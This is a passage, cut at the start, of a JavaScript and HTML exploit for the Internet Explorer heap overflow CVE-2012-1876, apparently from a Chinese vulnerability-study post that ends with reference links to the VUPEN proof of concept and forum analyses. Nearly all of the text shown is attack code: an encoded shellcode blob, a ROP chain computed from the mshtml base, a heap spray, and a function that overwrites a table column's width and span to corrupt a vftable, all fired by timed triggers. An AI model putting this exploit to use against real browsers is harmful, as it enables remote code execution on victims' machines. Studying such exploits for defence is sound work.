var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<400; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}
function smash_vtable(){
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}
var mshtmlbase = "";
setTimeout("over_trigger();",1);
setTimeout("heap_spray();",400);
setTimeout("smash_vtable();",700);
</script>
</body>
</html>
参考链接
《漏洞战争》
https://web.archive.org/web/20120713043025/www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php(VUPEN 组织的poc)
https://paper.seebug.org/182/#0x00
https://bbs.pediy.com/thread-225252.htm
https://www.cnblogs.com/snip3r/p/9677546.html
https://bbs.pediy.com/thread-214226.htm